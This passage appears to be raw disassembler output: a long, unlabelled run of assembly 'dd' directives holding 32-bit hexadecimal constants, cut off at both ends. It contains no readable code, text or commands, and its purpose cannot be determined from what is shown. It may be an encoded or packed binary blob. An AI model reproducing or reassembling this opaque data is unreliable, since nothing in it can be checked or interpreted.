6EB7F275h, 4973F6A7h, 5025EC74h, 0BEEC451Bh dd 7CA0C553h, 20DC412Eh, 0A14FA70Bh, 47186AB6h, 0F9887D10h dd 3C891DC8h, 0ACA13B92h, 2901CB00h, 131C5D4Dh, 184669Dh dd 135C20D9h, 8B7CE5E9h, 0F104EB45h, 0A70E4A0Bh, 0E94149E5h dd 907AE1FBh, 0C3274F3Ah, 3AD66151h, 0ECAC9888h, 0D2064E8Bh dd 0BC965B21h, 0FC5B8A82h, 27E70E08h, 5697774Dh, 1DB74741h dd 6E28F728h, 5BF803A7h, 86E9D880h, 313B02B7h, 3D497DC3h dd 804E2873h, 0B12B8FB9h, 0E67D9026h, 0B55BE23Eh, 0E97DE65Ah dd 4EB3694Ch, 2743F1B0h, 29DC18B2h, 589F08A0h, 97FB9529h dd 8845F9A5h, 712CE05Dh, 81C9B50Dh, 6E0F822Fh, 0F11C6875h dd 0E6514A50h, 0C5D2DEC9h, 43242DFAh, 6330B999h, 4B478081h dd 0B85BF8Dh, 610712F3h, 6BD8214Dh, 12E34821h, 0E90B1E27h dd 0D5EE1AC0h, 41F8CA1h, 13E55080h, 0C7944861h, 81735E2Ch dd 0A015F9BDh, 0DF4CE806h, 66A7EE91h, 5FB801E7h, 0E9205552h dd 2E053AE0h, 0DC0BDA88h, 821C55D3h, 9492574Bh, 1F487FEFh dd 0A25685Dh, 0C031FC70h, 551B0766h, 0C83CE918h, 1A41C535h dd 0AE059E38h, 0B16E93D7h, 0E99325E4h, 766BFDC3h, 767EB04h dd 2CF9485Fh, 27E90840h, 9119D37Ch, 7528E953h, 92B23B09h dd 0A1725AE1h, 0F5C0F42Eh, 0B695E951h, 45F02D5Ah, 3D42B441h dd 21505959h, 0BD5BA7CCh, 1A24D508h, 1E74EA29h, 75304526h dd 0E04532Ch, 58C7282Bh, 0F8AF98EEh, 10ED243Dh, 0A95D2794h dd 9FAC4672h, 26CC4828h, 77687083h, 0A7BC7C4Bh, 0C896E9F0h dd 5140E49Eh, 1D5C7B68h, 8959059Bh, 195769BBh, 0FBD0D616h dd 2FE91778h, 315C2984h, 40DD7005h, 0E2E72D2Fh, 0AE615F77h dd 48EC7912h, 9A210982h, 9DFF467h, 0C782101Fh, 57F159CEh dd 622BFC69h, 95ED5E54h, 79A7289Ch, 1F6F2609h, 0FBA0D390h dd 5B13191Dh, 79D7B909h, 2F1C71EDh, 144B9D54h, 5AB62767h dd 2B1BE9A7h, 79B851EBh, 674E865Ch, 42C39AC0h, 0E983214h dd 0ECC7496h, 68180797h, 30BE5C15h, 4079A977h, 0E91064D8h dd 38C563DCh, 82945604h, 97D4B374h, 5100EC26h, 0B25286B1h dd 0CAFE1C85h, 0C1AD9C80h, 83E91FEAh, 0F77597CDh, 40E8FEB4h dd 0E700B770h, 285BFC88h, 388058E6h, 0F13A65C1h, 5ABCE9BAh dd 0C4B34BF6h, 7F7FB981h, 72A1AE5Ah, 0BB64B7EDh, 0F5FD5801h dd 0CA8DD79Eh, 0B3D1916h, 7F93A90Bh, 0C50409B4h, 76029162h dd 8003CE79h, 88D60EF7h, 0F46E50FEh, 0E733E5A9h, 77C06F16h dd 94E7A48Ch, 2DD3237Ah, 51C63059h, 5675566Eh, 2C28304h dd 0B3DDEA52h, 58EBD674h, 0C1C1F9EDh, 0D0310BE8h, 774DAD68h dd 45DD8F18h, 5FA31F59h, 0E1BDA85Bh, 8B2B5453h, 1EDB5F5Bh dd 6212906Ah, 0AA08726Bh, 90064808h, 0CCBA140Ch, 0FC58CB8Ah dd 0F1685034h, 0D9EC5D4Fh, 176BC3E0h, 14BCA72h, 805E2A1h dd 94E966BEh, 9D7995BFh, 807E20C6h, 74D31248h, 74B2D3F6h dd 40954297h, 0EE1586A1h, 114C3D2Dh, 9BC8299Fh, 784B0E05h dd 0AD4F249Bh, 6EE51288h, 50DF7C09h, 4CED05F9h, 523155E9h dd 0DBFA0948h, 0FF6687ABh, 25DEA24h, 0D6B62B69h, 27A622BDh dd 0FC7EEE81h, 0D0EF0CB4h, 42055F08h, 775F4077h, 41131EA0h dd 0D18C6ED6h, 0DF64BF66h, 5C6F2120h, 62A3A50h, 0B6682F40h dd 79AF2579h, 0D419ACEh, 67E8245Fh, 0CB05D1A9h, 80875799h dd 0DFBBF344h, 1FCEF09h, 9E3116DAh, 0F429C4ACh, 0B140DEB0h dd 581AC0F7h, 0CC1A682Dh, 0CE25530Bh, 0E90B0116h, 2C268E9Fh dd 0CA7C0555h, 27B850E0h, 7ECE670Bh, 5C8B0051h, 253AF6Dh dd 52C3F681h, 43D53891h, 3431CFF3h, 55CC2F14h, 3BF00BBDh dd 10A454E7h, 68A5C183h, 3EAD26CBh, 0D5E06BDh, 0C3260944h dd 0D0CA5B7Ch, 8C1BBC5h, 0CC2A1C0Fh, 6AFDEF25h, 62B55E25h dd 0B5E587F0h, 7CFA4730h, 336320BCh, 81114F09h, 34E69CBAh dd 820EEE5Ah, 0ACC0D6F6h, 0F64B1005h, 2F107ECEh, 0A6C898C6h dd 5A1C5BDDh, 0E804AE04h, 8AD278E9h, 95E7A229h, 1AE6D5FDh dd 0F46E0F20h, 57380077h, 0C3A9BBFh, 69C3162h, 5ADD5CA7h dd 0ACC2B3D4h, 0E068017Ah, 0F9CC3A45h, 0D6B19D9Bh, 5037A661h dd 27EED127h, 494F4EF6h, 219FC0F1h, 0C15F0FFDh, 4D6406E5h dd 9D65AFAAh, 247E81BDh, 8074AD4Fh, 737A0668h, 35005838h dd 489F596Dh, 2D44170Dh, 68DC1674h, 36852D1Fh, 3AB4785h dd 90AEE994h, 0C2534230h, 9A2B1003h, 0DEF1D64h, 0E440E5C1h dd 0EBF7CF29h, 56D11198h, 6824D2A1h, 1CFD4BF6h, 0AF6D5DA1h dd 0F2038322h, 0BCB6A851h, 206E7FB1h, 6609A3E1h, 8722BBBAh dd 0E3C4D349h, 8832F1F8h, 0D0DC8A0Eh, 2EB1F582h, 0A47E187h dd 0AC4E2F38h, 0F01F16D0h, 5C1A7CEAh, 0E9D0500h, 0B9E93C58h dd 73E89D8Ch, 973D2AAFh, 0AF7A410h, 5FCE6884h, 0F734EFh dd 3BBB53DBh, 4009F157h, 8105E3C1h, 6C5EC40Dh, 0DE6DE9D8h dd 0E35C2595h, 63099820h, 0D7586E04h, 8E00B38Bh, 9186C1Ah dd 1F335B80h, 9293797h, 8B8BE957h, 1F6E1EC8h, 0CB07AA27h dd 0B109C79h, 13319979h, 0A5323166h, 32243F6Ch, 0DFF6C7C1h dd 32E28000h, 612861B8h, 0D55FAC28h, 89BA54C5h, 53BB4491h dd 0B2406780h, 0CADEB57Ah, 82985764h, 9501F668h, 0DE928471h dd 666F4DE1h, 2D625E28h, 6C157A33h, 146474C2h, 0E0D106B3h dd 7D20CB09h, 0AF9B20D7h, 2F1ABA02h, 0D609A0E9h, 7528BF61h dd 0A9F63E1Ah, 0E07BF84h, 0A349C452h, 4C3F8BBEh, 36C205BEh dd 0D3A83EDAh, 5808C328h, 0F8C4685Dh, 0D144FB6Bh, 0C8177F7Bh dd 6531685Bh, 0BF6E7772h dd 9361FA0h, 62E4C37Fh, 10ADBC80h, 2AB85129h, 0BEA57224h dd 28233A40h, 9DF5AB40h, 0A95621EAh, 17F80417h, 46D6929Eh dd 24DC88BDh, 8701F15Fh, 0DACB805Ah, 0F874EBCCh, 0F7716553h dd 0D81780E6h, 5A48636Bh, 2D0601FFh, 1698DABh, 3E3DF13Fh dd 2AE9FF8Ch, 0F7910AFBh, 0C680726Ch, 57D3342Ch, 1CC74E71h dd 9793D69h, 2290D571h, 659225E9h, 0C03996B5h, 3BC6BF22h dd 0E9134F5Dh, 109D959Eh, 97CD902h, 1CE8F7Dh, 2B8E5E65h dd 9C6B8930h, 0A37E5228h, 8148EF0Bh, 0D2F74A4Dh, 2420492h dd 0F027909Ch, 5BF262C0h, 8632113h, 5C8D3CFAh, 6271682Dh dd 528F5145h, 0D9B7A752h, 0F36A1700h, 7B680B2Dh, 0DAAB1A16h dd 0FD43F833h, 92FAF63Bh, 0E9F17EECh, 66F75368h, 0FD480C9Ah dd 659D0785h, 7E303EF6h, 1C18019h, 0F873666Eh, 0DF289FE8h dd 722EB740h, 5582FE9h, 9EC294Bh, 4B62D39Eh, 84FD010Bh dd 67ECB6DAh, 0C65FAEA2h, 5E5E389h, 593A207Ch, 0D77B1187h dd 0EAECB448h, 0F9080649h, 9F72BBADh, 90E992F3h, 159D6181h dd 0B52EE9C3h, 1BEAD4Fh, 48E0196Eh, 3197C29h, 665D5F0Ch dd 0B951F173h, 864ED56Bh, 3E95A747h, 1049DA0h, 9439FF57h dd 0A093817Ch, 7C0E6932h, 0C45B466Dh, 13B30EB6h, 4081CA3Eh dd 41D1F706h, 0EB57CE87h, 0E8087B62h, 0FCE91692h, 9155417Dh dd 2A2AF622h, 73F6B386h, 152609F5h, 8762D7Ch, 0CC085393h dd 9A728DDh, 23050A4Dh, 70B558F0h, 20710457h, 0FC310839h dd 0D674B6C7h, 50A103ABh, 79D1E2B4h, 9BA36F12h, 6086AF58h dd 6E3AA169h, 0E74CA675h, 0F6AEB0Ch, 0E9D80C89h, 0CB93B156h dd 0D1238709h, 4977E73h, 8467272Ch, 5B60AC76h, 9F6989A6h dd 4B24967Fh, 4C5BD1D3h, 2E8005B5h, 212B014h, 32C0CA81h dd 8EC041A1h, 7FC06D1Ah, 0E5908CEh, 2ED900Dh, 6AC45BCFh dd 8CF2D0E9h, 292CD8F4h, 0F70EEBE2h, 24EA83F6h, 0DA0E004Fh dd 87289825h, 6C443DFh, 74906BE9h, 2FF4F280h, 1965D030h dd 0A5B0A3A0h, 4CBD0E20h, 8339C409h, 9711F6F7h, 7118EDC2h dd 0F8B1B30Fh, 0C568AD0Bh, 7460AD22h, 51956EEEh, 0B75D951Bh dd 887F2243h, 62164CB8h, 0F006B8Dh, 3E360D08h, 35751C41h dd 100445A2h, 0D1148821h, 1950F37Eh, 720FEDD7h, 54297B8Dh dd 7C0841F2h, 19E9C401h, 3FF20994h, 0F92A1962h, 95C196D7h dd 3A7774A9h, 5EE577D1h, 0A3105C24h, 925A1750h, 8D822757h dd 0D020EB72h, 6EAEC1CDh, 0F9647701h, 3436833h, 19E66687h dd 0D45C1C59h, 0E9704536h, 0EE0AE409h, 0D14E4907h, 9FC3461Bh dd 0CA4F609Ah, 6D213AA0h, 6355828h, 4789219Ch, 4FC8D47Ch dd 0FA9DE104h, 5539023h, 15017870h, 1AF5B039h, 0E933FC05h dd 0DE61A92Bh, 7582D5CFh, 82D46CDh, 0F3B4605Fh, 0ED14B71Ch dd 1728B20h, 0CB3DA0BBh, 30D80173h, 294DE237h, 5640C176h dd 0B307A3Eh, 0E3A264Bh, 58F10122h, 3069B60Dh, 0C9FE0811h dd 0F973E00Ch, 1F452A41h, 951084EFh, 5201E023h, 922AED68h dd 89467873h, 4F6ED95Fh, 1EB220E6h, 5AF7282Eh, 7DACCF0Eh dd 0F8304D80h, 0A0C2885Bh, 887E3A7Dh, 510759C6h, 0D62967DFh dd 56034DDEh, 0BCDE002Bh, 31272E4Ch, 9DCA0180h, 0F19D8FCCh dd 0C1386238h, 67098240h, 8850B0B4h, 34AEA50Eh, 7A44AE4Dh dd 0F11709FAh, 6069802h, 24756BA8h, 238BAA2h, 30504829h dd 8808F44h, 0DEA87DE9h, 579B353h, 0D45BD92Ch, 0F1C6621Ch dd 90C488A9h, 0ECFEE821h, 82842DE9h, 78407D48h, 261D6D24h dd 63412BFh, 117F9020h, 5C2B4C5Fh, 4351B301h, 25F0E917h dd 0DDB2E347h, 6C953E50h, 55019790h, 73033268h, 2C6B4C59h dd 0F91CCEDFh, 0ABBD55C3h, 0D501B26Fh, 568EB993h, 0F6EF8225h dd 30C37B60h, 0D22CD881h, 0E952A181h, 7A133B26h, 5D8F5EABh dd 96D50BB6h, 53008354h, 0D6047DBBh, 5CC1FC76h, 328F7C9Ah dd 869F509h, 8CA12FDAh, 0F320F861h, 7F652644h, 0B8813DE7h dd 9D66457h, 1BF07ED7h, 0E5807046h, 1FAB807Eh, 0CC01C13h dd 3C15A58h, 0ADD42AE9h, 0DE8927B4h, 5E2047C0h, 0ABE35B4Ah dd 0FAA3E909h, 0C2CFE825h, 0C6D6DB94h, 7DD4F7C2h, 68058B65h dd 0FDCD08ACh, 930DCE30h, 0D0372CF8h, 5F5E9568h, 0A6A5A9ACh dd 0DA682FA8h, 0EDE92522h, 0C5EA0A48h, 25340E18h, 28157558h dd 6973580h, 1D143937h, 4C041A4Ah, 89C0A882h, 0E3D7B281h dd 0AEE4181h, 0EC451703h, 0F4A5B594h, 0E187A73Dh, 3E3830C8h dd 58B11A10h, 0E58C504Ch, 517D605h, 0B20B4D0Fh, 0DE7CB21Bh dd 8A64872h, 0A73B80F1h, 0B03AC5DFh, 8D5EE9EBh, 7EE65C4h dd 59E2BE80h, 0F53750A3h, 5B0C7855h, 966DF413h, 7036CC4Eh dd 0A291FA45h, 52029367h, 0E90A0E0Ch, 0AFF497D9h, 8A7D136Ah dd 3309BC9Bh, 3F7DF9F0h, 0E992B317h, 18BB9313h, 2ED590D7h dd 39077526h, 0BA02D410h, 4D1A2965h, 40088957h, 52AE857h dd 0FE9B705h, 0E032EC8Ah, 2D4FE32Dh, 55D005DAh, 2BFEDF35h dd 74B53E44h, 0BC1CAF12h, 78AD5557h, 2348329Bh, 1F65054Bh dd 0D0BB7229h, 91F7C3FBh, 3175825Ch, 51E97FDEh, 0BD02BC6Ch dd 782A2C44h, 557DBD60h, 0C544630h, 0A0D40AF3h, 0B4FD31B6h dd 1F51655Ch, 11A88D40h, 94E02BC4h, 688940CAh, 9A25F12Dh dd 512BDD40h, 91DDE5ABh, 4B936C06h, 55E4C2EBh, 68606754h dd 0B92F0Bh, 0F6815E3Fh, 846577Dh, 58E2CFA2h, 93947DDh dd 0BB5ACE22h, 0EC134209h, 4473D1C0h, 5AF491F3h, 43C57E28h dd 0B0CC67FBh, 0E96504D8h, 0C45F5Ah, 0B4E49BF8h, 0B6407996h dd 88395CB4h, 681D9B20h, 0C8A52816h, 2512E26Ch, 9D0266FCh dd 0C4D60783h, 8DEBCCC4h, 568A2A4Ah, 66868322h, 0C4D2212Fh dd 75A28AF6h, 0CB2CD1E7h, 2DD82940h, 0E94C127Ch, 0D96B0132h dd 70186178h, 260F2B1Bh, 7AF74048h, 0C11FCA04h, 0EE12DEC1h dd 0C7FAE3C4h, 3C3043B1h, 585F6A3Dh, 0E1036F6Fh, 2957680Ch dd 2F8BBFE5h, 54C5E903h, 3A046A5Ah, 0B7894784h, 75E43BC2h dd 631ED3A2h, 25843CDFh, 0BDCE821h, 55E9C8C9h, 4A4F0F68h dd 57CE0699h, 16232FE0h, 0AA4AE96Dh, 44B0055h, 2037F48h dd 527C22EDh, 0E90C0C6Ch, 0E333EAD5h, 4D01A50Ch, 1EEF9625h dd 6C51C873h, 1CD630FEh, 0A31D66C2h, 92D3CE89h, 0FF3051E1h dd 0C4B03850h, 0AD58C21Dh, 0E22D4AF6h, 37EEDF26h, 0BF8185FAh dd 396420C1h, 935145C3h, 0C0B05724h, 5E0F1367h, 96FC41Dh dd 84F15607h, 7B4924Fh, 0B8655E87h, 0F84BDE9Ch, 3C794977h dd 8FC54747h, 23E0CB1h, 1773BF97h, 2D5EDC2h, 0F6874FA9h dd 38B35844h, 3F6798B5h, 34108373h, 0BD02A5C4h, 1D350958h dd 661056E1h, 74300124h, 0A1E92DE1h, 5F28B728h, 0ECC0253Ah dd 0D292597Bh, 5B06E2B4h, 68FFC862h, 25227324h, 0F4531C96h dd 61EE3E71h, 0F0840F00h, 0DD41FB5Bh, 364B4760h, 480DAC30h dd 68366C32h, 0B32F4EE1h, 9F5F51F3h, 0ED70DD58h, 8B41381Ah dd 45901C9h, 78DE9621h, 0EA883FA8h, 20C76D92h, 0A63CD96Eh dd 3F29123Bh, 84721750h, 0B8B6B2E4h, 0C1D544CBh, 227D8F7Fh dd 0DA4B1DF6h, 2923133h, 0D4CD81EFh, 0E9601219h, 401359F5h dd 0F5431FF1h, 409AF67h, 14942B18h, 7C8EEAC2h, 12CDFD4Bh dd 12E8BC16h, 828A68B7h, 0E10F64B0h, 5407691Eh, 208A08Eh dd 0E9F3295Ah, 2975DFA0h, 688900BBh, 97750452h, 74AF0BA0h dd 709D0996h, 0BD055E25h dd 255448B8h, 9406448Fh, 475C2DFBh, 21267A5h, 0DD2055BDh dd 8F0D335Dh, 0B5896988h, 0FBA58559h, 995C655Dh, 0D5C00101h dd 0C40E38A7h, 0B800CCBEh, 5401609Fh, 83030E5h, 8129584Ch dd 578867C5h, 7A0B3D32h, 0DD097D10h, 0EE93D22h, 315A4A48h dd 688CD74Eh, 9B7AB52Dh, 7F000571h, 0F8297A4Dh, 0C90D24E9h dd 0C9845D96h, 5BD3E3E3h, 0E916FCB7h, 0C7F1B48Ah, 2101980Dh dd 6FF00C05h, 0EC855E5Eh, 0E0178FF3h, 0BD55367Fh, 0E977138Ch dd 20EE012Bh, 2A300ADAh, 5F1F10E4h, 2085CBEEh, 6022C47Dh dd 34DD1ED0h, 70C6DEA7h, 0E9BE6A9Bh, 0FE16919Ch, 1F2103BEh dd 0F7D9AD03h, 6EDFC9D7h, 0B2664B81h, 0C1B45000h, 0F0E6882Fh dd 91920D8h, 0B9DAF626h, 1FBD5712h, 0BD672F7Eh, 5EAFD97Bh dd 3A7427E5h, 0B5D7A150h, 0C2421D69h, 0EBB32343h, 981C56BEh dd 0D8255804h, 0C1182649h, 0ABC697F3h, 48E63907h, 524CE23Eh dd 539940B2h, 8F81DB7h, 0C24AB1FAh, 21D0C197h, 0B69F116Eh dd 25A6DD7Dh, 23A36E00h, 0E43FCF41h, 0DF0A01E1h, 0B9A312E9h dd 0A4047D52h, 0BBE1B0DBh, 0C06CB13h, 1DDA4505h, 0F90F39BFh dd 26F67C07h, 79021C45h, 0D64B8818h, 3E7A0C60h, 0EF59010Eh dd 26F9D2B3h, 287CD810h, 2AF7CA5Bh, 0CF720B12h, 5F372214h dd 0D46696F5h, 9113A84Ah, 7F8E90D1h, 5901F03Dh, 0E319E4BDh dd 0ECDE94Eh, 8C6D283Bh, 0D6446C41h, 0E82BD5C2h, 0FE5658ACh dd 0ACA14E03h, 6CDFB7FCh, 0EF8FA8h, 0D141B960h, 425FFA89h dd 0F097EAEAh, 606C386h, 81CD814Ah, 20A19010h, 11123587h dd 0B5B84895h, 2C59E40h, 6EF12630h, 375888E9h, 0A49D5A4Bh dd 77818EE5h, 64BD58EBh, 21E72D6h, 70A874F1h, 5F88020h dd 95280869h, 2408DCA8h, 5494AD5Ah, 0C2E927h, 38A0BA7Ah dd 707A642Eh, 0CF47BC63h, 48E8B668h, 7499A4Bh, 73E71417h dd 0D78689B9h, 0D0F70A00h, 640C2D48h, 5A383A07h, 0B7B880BCh dd 66763B09h, 7D16FD29h, 14846AF7h, 0D7A21317h, 5BE2F1CBh dd 280338E9h, 0C530090Ah, 5EA2F536h, 470ABBA8h, 4CA95D12h dd 63C665DEh, 0E3DE928h, 39EAC858h, 57EE934Ch, 61718AEh dd 0EB5ED104h, 8B475D02h, 0D63D604Ch, 3CF72653h, 0BD4A083h dd 64FEF204h, 8ACE0D58h, 0F1A9336Eh, 0C8A22DDCh, 0AB5C5DC3h dd 538B7749h, 0B95CE678h, 0DD9EC422h, 0B24FE18Ah, 7513D2A2h dd 32AF0CC4h, 0E85D5B81h, 82D1F41Ch, 0F9E5D10Eh, 6105881Dh dd 0BE899C5Bh, 0DC3B0831h, 0FCBA73B1h, 2D89ED97h, 102ED547h dd 0DA75448Bh, 0BEAE9B6h, 6C890156h, 0A327FBA6h, 0C83ACDAh dd 0D6BFD975h, 0FC1EE0B5h, 899A1F4Eh, 757FCBF0h, 0CC674BDCh dd 7FDC25F8h, 0AE14C50Eh, 81EDA5D5h, 2BE3ABC5h, 58C2300Fh dd 43FF2C7h, 0EAC8EFD3h, 0D1BF5AD7h, 38702070h, 9865E4CFh dd 0CDFAFE85h, 5B982A84h, 30EA4171h, 18B0C10Fh, 0BDA9DA4Ah dd 2D20B986h, 1E73C620h, 0B40478Fh, 8E685CADh, 0A916044Ah dd 0FCA90125h, 0AB32D204h, 7578267h, 30293E4h, 1D59969h dd 0E178C2D8h, 0F23F4A7Ah, 10BA4050h, 0DC3ED112h, 9E56116h dd 2CE9CC60h, 8BCCE7EAh, 31B0D631h, 59BFF729h, 4B825A32h dd 7FE6A651h, 0F6AEB60Fh, 813A84DEh, 0CABE0A94h, 97680989h dd 6E6C7C37h, 0A137AC37h, 0F23FC629h, 0DF0C93C5h, 4EE573FEh dd 6BA7F157h, 8E43550Ah, 1FD9433h, 5A58527Dh, 0F11C4709h dd 0D6073A92h, 0C327DE88h, 9EFF044h, 3162E76Bh, 0E58A8074h dd 4F47E6C0h, 0BBBF086h, 95FFE89h, 3E817887h, 63450297h dd 0D0D2ECE9h, 9829ED05h, 7FE99CD2h, 0FD870613h, 2BA8C941h dd 2DDD0562h, 5FFA93FEh, 5BA6E38Fh, 59CFA901h, 8F9B652h dd 0EF0BB178h, 940E5027h, 0C67B81CBh, 735BB609h, 41123D44h dd 0E7ABCC3Fh, 1B761602h, 9B0EEE9h, 0A9BD6502h, 5569EC76h dd 0DC20D295h, 8FD7539Fh, 0E2F39168h, 57C9CAh, 73697A96h dd 6A649D5Bh, 7A05ED89h, 4EE2495h, 0AFCAD097h, 79C54641h dd 68822322h, 61B8765Ah, 6FC4B280h, 57B8264Eh, 2234C30Ah dd 0D902C928h, 417EAEB4h, 0AB05C22Ah, 1705F304h, 53D45C09h dd 90C6D346h, 0D68920D6h, 738D60F5h, 13D645F2h, 0D14E3980h dd 76290EEh, 0D0F3A67Ah, 92487C56h, 70125A13h, 7177DC4h dd 0B70038BCh, 10EA94Ch, 3B27E9CAh, 5E63BA7Dh, 849B424Ch dd 9D60F1DEh, 3F01F73Ch, 2AA6CB21h, 6BD1AFD0h, 0D0420E60h dd 7EAAD44Eh, 0DDC67627h, 0DEC5E397h, 5A7A35E6h, 0EC05BFD5h dd 0CFAAFCE6h, 83445AE3h, 5E03DBB7h, 8EC1F221h, 19E76E90h dd 56B4004Bh, 86546468h, 0E55E7526h, 9FB95100h, 638A79ABh dd 945B9E31h, 43EEC903h, 0B078863Fh, 0FAD0D6F6h, 7429DB4h dd 3A2E37Ah, 59014C65h, 515E5456h, 3DD48D31h, 55B4028h dd 0C30BADA1h, 93647FF2h, 0A4363A09h, 0CF808029h, 90EE087Ch dd 89A7600Eh, 0A59021F3h, 0DE894413h, 59134065h, 0E936F9EDh dd 0C6043350h, 507D18F0h, 5D2004BBh, 3B748905h, 342B649Dh dd 7F3046Dh, 0B25200EFh, 12CA8003h, 5B4502Ah, 82DCF4EDh dd 4E5BC2F3h, 0E9F910ADh, 12B2B6BFh, 0B2B9F801h, 0E89A4050h dd 583D0D09h, 2B0BEAB8h, 4AD699A4h, 0E4CDCD10h, 1BB792C8h dd 0CBEA9C0Ah, 606813BAh, 0BA7261BAh, 0C4303B73h, 0B01F16C9h dd 17AE3166h, 6F607735h, 562D948Ah, 4CD21D79h, 809B4E99h dd 0AFC280BFh, 3E4FCD98h, 76D08182h, 0E4E42771h, 9D5263F4h dd 3AF401D8h, 0D6013267h, 66E8873Eh, 5B0E1EF5h, 6B0EE180h dd 819C84C9h, 9BD07B0h, 6F516865h, 0B10B02DDh, 0D8F20901h dd 5C948020h, 5701605Ch, 8A621BBFh, 3556F922h, 84F02E6Eh dd 81D73AF7h, 0C027B582h, 0AD429CCh, 7405ED0Bh, 0DDE90B03h dd 0AAC2FF29h, 27D2CE2Bh, 86CB534Fh, 30340221h, 588B8CD1h dd 685A4787h, 139879F8h, 8CB7D5B1h, 402EFE52h, 0D12D68BAh dd 4BDF4632h, 0BBD3C4D6h, 5C348A9Bh, 7421EB2Fh, 55035FBFh dd 3BCFA9B1h, 7FE92B29h, 0D1F75D00h, 97B70B7h, 0CC355AC9h dd 0A371AF02h, 1025C02Fh, 6901050Fh, 0E4401AF9h, 4AB5215Dh dd 6260593Dh, 5000C73Eh, 5A315859h, 9255AC4Ch, 0B215CDE1h dd 28771C00h, 0B050CBh, 0F62B2C8Ch, 8E8C0D0h, 6DDE0E6h dd 0DAE90382h, 0F28BCC5Ah, 8F1B4D2Ch, 26B9684h, 51DD3159h dd 0BF29441Fh, 734DB6CBh, 1C63B910h, 0F11E78B1h, 28C3B856h dd 0C5FEAC2Dh, 2481FED6h, 47ACEB01h, 7DA210DBh, 6DFA42EBh dd 65B8F809h, 0C4569FE0h, 0BEC44759h, 55DEB095h, 2E3EE681h dd 74422F5Fh, 0F708B092h, 6EF187DDh, 5577FE0h, 0ED738A68h dd 0BEDEC06Eh, 0CF0E1C80h, 0F3D4E977h, 0F6BA5F49h, 392BD3Ch dd 60F19DF6h, 0B94B4D50h, 9710A8A3h, 27573F9Dh, 0D268E1F2h dd 97F55E6Eh, 0EBD1E414h, 892C340Ch, 13BA0C6Bh, 908FB16h dd 966EB1DAh, 307A5258h, 0C6683D0Ah, 31E6BD72h, 9C55CA82h dd 0EC4B20A1h, 0BBE4801Eh, 0AFC23016h, 1155C0B0h, 0E1BFCFADh dd 0D3620AC9h, 963F06F4h, 8DA3610Bh, 0C9308922h, 7BB91856h dd 325B245Eh, 948A476h, 400E30Eh, 919316F1h, 0CD31A90Ah dd 8225EF59h, 0C853DC64h, 82921ACDh, 6C602242h, 601670F7h dd 68FC91C0h, 0EBC6125Eh, 2CE37231h, 5AB6BC14h, 0CE904EFDh dd 0B46CFD5Eh, 7EC20E40h, 2E60913Bh, 2063F201h, 77E91208h dd 5B7CA30Ah, 788B72D9h, 50E3A668h, 3A744DA9h, 8322EDF3h dd 3B560FCAh, 1EED0196h dd 8B2A2748h, 156804A2h, 0EF30EB6Dh, 33D4601h, 2D705228h dd 2412C146h, 3E213C96h, 20500E0h, 3292745Dh, 0CC4ACCE9h dd 2604F48Bh, 61FE89D0h, 14D1CF35h, 895C2CF6h, 806A0155h dd 0E230CA39h, 25DE9C30h, 647AF876h, 1467BDA0h, 0D20D020h dd 0BCF94C2h, 0B332DFDDh, 0B7CEE6A2h, 0E6685C00h, 516CBF0Dh dd 0F92BE92Fh, 9306084Dh, 0C0A85417h, 48BA2810h, 13503CF7h dd 31FAC91Fh, 3F171897h, 63B46F74h, 0B3555F35h, 8FD812D1h dd 0ECC4D4ACh, 0FA68027Fh, 0CA159013h, 777195C7h, 5B2C83C9h dd 0DFF52E7Ah, 0BFF11A65h, 6812B670h, 0BE443352h, 0B507AAD3h dd 5EA0724Fh, 0A10426ECh, 29441D70h, 83CE7CD4h, 97F1E90Ch dd 3059CEA7h, 0A2EC8406h, 57F709h, 607B222Ah, 5937802Eh dd 184AA330h, 4EBBE2ECh, 0D2BD92DCh, 504E878h, 34A84159h dd 1440AAC5h, 562396BDh, 0D233953Bh, 92FFB6FAh, 6AC50216h dd 0ABF70B5Ah, 88753D4h, 5027BD09h, 6740C823h, 2DF80104h dd 93F188EAh, 0CB50B348h, 3CD682B2h, 8918D50Ah, 4082996Ch dd 0B6021949h, 3057EB8Bh, 30E9DE8Fh, 81CFF78Ch, 4C01CF6Bh dd 4F09B850h, 0D0F878EAh, 9D920135h, 3DE9B261h, 10C2362h dd 80FB951h, 0F741098Eh, 73820D5Fh, 785B8BEAh, 0F9F232C0h dd 0B510913h, 99343A0h, 52110D5Eh, 7A9F5558h, 3EECBFF6h dd 8C4F94Ah, 0A24A0DF6h, 78547579h, 0F25C31B4h, 0ED0985C3h dd 0B9A551FCh, 438E5A79h, 294FE921h, 3C9DF89Ah, 0D21370BAh dd 0F1084109h, 826CB34Ch, 5E0796D6h, 0C2615539h, 22BF6031h dd 0C3818360h, 3EAE3F7Bh, 7D2A4377h, 0F0FCB09Ch, 0B0914A46h dd 6C024F76h, 0EE837FE1h, 0B425D701h, 3198CAFEh, 5EA9F533h dd 124B0223h, 0B7F1A5Ch, 568BD971h, 0DEAC0451h, 7E70FE52h dd 602FD273h, 566DD66Ch, 0E9133F94h, 86E2035Ch, 88506607h dd 0DCA6C2D4h, 30FA44EAh, 249526F4h, 91AEEE17h, 6F215B43h dd 0A23EA0B1h, 0C0A7CB70h, 2715B5C9h, 3DE5166h, 3DFE53BBh dd 0E9DD8402h, 659672CDh, 0C9C85C84h, 0FCC17874h, 29C9C9Eh dd 5375DABDh, 0D75615Fh, 133EF4D4h, 44FA48E9h, 0B273BC04h dd 4B869038h, 0CD2A7029h, 5AF5EC3Eh, 2D499D17h, 87B52BEh dd 112873BFh, 48CDA220h, 9502AA5Bh, 9014E4Fh, 60B0FAE4h dd 8824C092h, 9A138FE6h, 0C1C1AFC3h, 2A708102h, 7ADB3B6Eh dd 1F20F602h, 0FDFC0417h, 58911502h, 8A416148h, 0C8CA342Eh dd 5A2668B2h, 5460C52Dh, 0B4EE7FE9h, 6D8E625Ah, 0CF816600h dd 8E655CA8h, 0ECD4F513h, 0AC94E797h, 0F80835AFh, 67377CBBh dd 564BB52h, 70B42B82h, 48593C1Bh, 31BEE387h, 0E516F6FFh dd 6CAFB800h, 13B9715Fh, 0FE127D39h, 13009417h, 8F8CBC01h dd 0D91E8451h, 2B71AB17h, 0B1462328h, 6C88390Fh, 0F5665125h dd 90E90A80h, 55CD714Bh, 0BBCBBE7h, 0C33059FFh, 0C5D5BD62h dd 0F429289Ah, 0F59BD2D1h, 0E4E46E4Ah, 57024110h, 9EDE3BB3h dd 8FE34005h, 34DCD2EFh, 13F3477Dh, 0A007574Dh, 550FF37Eh dd 0A520D014h, 40D464A5h, 0C8028BC7h, 0F60E5D59h, 58D053ECh dd 0BD21CA40h, 0C56882F9h, 2B090A12h, 276276A9h, 